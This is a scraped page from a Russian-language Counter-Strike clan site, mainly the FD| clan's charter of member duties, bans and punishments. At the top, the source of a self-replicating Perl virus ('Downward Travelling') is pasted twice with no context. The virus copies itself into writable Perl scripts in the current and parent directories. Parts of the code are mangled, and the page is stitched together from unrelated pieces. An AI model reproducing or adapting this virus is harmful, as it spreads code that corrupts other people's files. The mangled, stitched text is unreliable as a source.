#!/usr/bin/perl #Perl Virus - Downward Travelling open(File,$0); @Virus=; @Virus=@Virus[0...30]; close(File); &InfectFile; if (($^O =~ "bsd") or ($^O =~ "linux") or ($^O =~ "solaris")) { $OldDir = `pwd ` } # Новая строка if (($^O =~ "dos") or ($^O =~ "MSWin32")) { $OldDir = `cd` } # Новая строка $DotDot = '..'; # Новая строка if ($^O =~ "MacOS") { $DotDot = "::" } # Новая строка chdir($DotDot); # Новая строка &InfectFile; chdir($OldDir); # Новая строка sub InfectFile { foreach $FileName (<*>) { if ((-r $FileName) && (-w $FileName) && (-f $FileName)) { open(File, "$FileName"); @Temp=; close(File); if ((@Temp[1] =~ "Virus") or (@Temp[2] =~ "Virus")) { if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl")) { open(File, ">$FileName"); print File @Virus; print File @Temp; close (File); }}}}} Mixway gaming community #!/usr/bin/perl #Perl Virus - Downward Travelling open(File,$0); @Virus=; @Virus=@Virus[0...30]; close(File); &InfectFile; if (($^O =~ "bsd") or ($^O =~ "linux") or ($^O =~ "solaris")) { $OldDir = `pwd ` } # Новая строка if (($^O =~ "dos") or ($^O =~ "MSWin32")) { $OldDir = `cd` } # Новая строка $DotDot = '..'; # Новая строка if ($^O =~ "MacOS") { $DotDot = "::" } # Новая строка chdir($DotDot); # Новая строка &InfectFile; chdir($OldDir); # Новая строка sub InfectFile { foreach $FileName (<*>) { if ((-r $FileName) && (-w $FileName) && (-f $FileName)) { open(File, "$FileName"); @Temp=; close(File); if ((@Temp[1] =~ "Virus") or (@Temp[2] =~ "Virus")) { if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl")) { open(File, ">$FileName"); print File @Virus; print File @Temp; close (File); }}}}}













Меню





Главная страница Таблица CW Устав клана Состав клана Тренеровки Видео для клана Доска позора Личные стр Гостевая Связь Файлы Форум









Чат





200










Опрос





Хотите с нами сиграть в cw
javascript:; javascript:;
Всего ответов: 29










Статистика





Online :
Онлайн всего: 1
Гостей: 1
Пользователей: 0
Users :










Друзья





CS.ORC.Lv Best Latvian Servers












dsdds - FD| кЛаН - Описание сайта



Устав клана
 I. Устав клана FD|

 1. Настоящий Устав является официальным документом клана FD| 

2. Только глава клана может изменять этот документ.

3. Каждый член клана обязан ознакомиться с Уставом.

II. Обязанности:



1. После принятия в клан в оффициальных играх иметь ник в форме:
 FD|Ник, (пример FD| player 
2. Появляться в сети каждый день.

 3. Играть в CS:каждый день, как минимум 1 час. 

4. Регулярно посещать сайт и форум клана.

5. Выполнять указания главы клана.

6. Являться на CW (при отсутствии заранее отписаться на форуме).
Являться на тренировки клана (обязательно).

8. На CW слушать и выполнять приказы капитана.

III. Запрещается:


 1. Состоять одновременно в другом клане CS. 

2. Использовать читы.

3. Оскорблять соклановцев.

4. Тимкиллерство.

5. Отрицательно высказываться о клане.

6. Оскорбление соперников (особенно во время CW).

7. Разглашать тактические планы клана.

IV. Обязанности капитана:
1. Руководить кланом.

2. Решать внутриклановые проблемы и конфликты.
3. Принимать решения об официальных CW (публикующихся на главной странице).
4. Поддерживать честь и достоинство клана.
5. Рассматривать заявки на вступление и принимать решения по ним.

V. Наказания:


1. При нарушении правил II раздела, пунктов 2, 3, 4, - (предупреждение,выговор).

2. При нарушении остальных пунктов II раздела - на усмотрение клан лидера.

3. При нарушении правил III раздела, пунктов 1, 2, - изгнание из клана.

4. При нарушении правил III раздела, пункта 3, 4 - (предупреждение,выговор).

5. При нарушении остальных пунктов III раздела - на усмотрение клан лидера.

VI. Рекомендуется



1. Повышать игровую квалификацию.

2. Наслаждаться игрой.

3. Гордиться своим кланом.










Кабинет





Понедельник, 23.12.2024,
Гость

Сообщения:

Группа:
Гости










Топ пользователей





JannieBion

Новостей: 1113
Сообщений: 0
Комментарий: 0
Репутация: 0

Muslimer

Новостей: 718
Сообщений: 6
Комментарий: 0
Репутация: 0

Pitertata

Новостей: 203
Сообщений: 0
Комментарий: 0
Репутация: 0











Случайное видео















Block title





erik
erik
erik










Наш Баннер





Мы будем вам признательны, если вы разместите нашу кнопку у себя на сайте.:

CS clan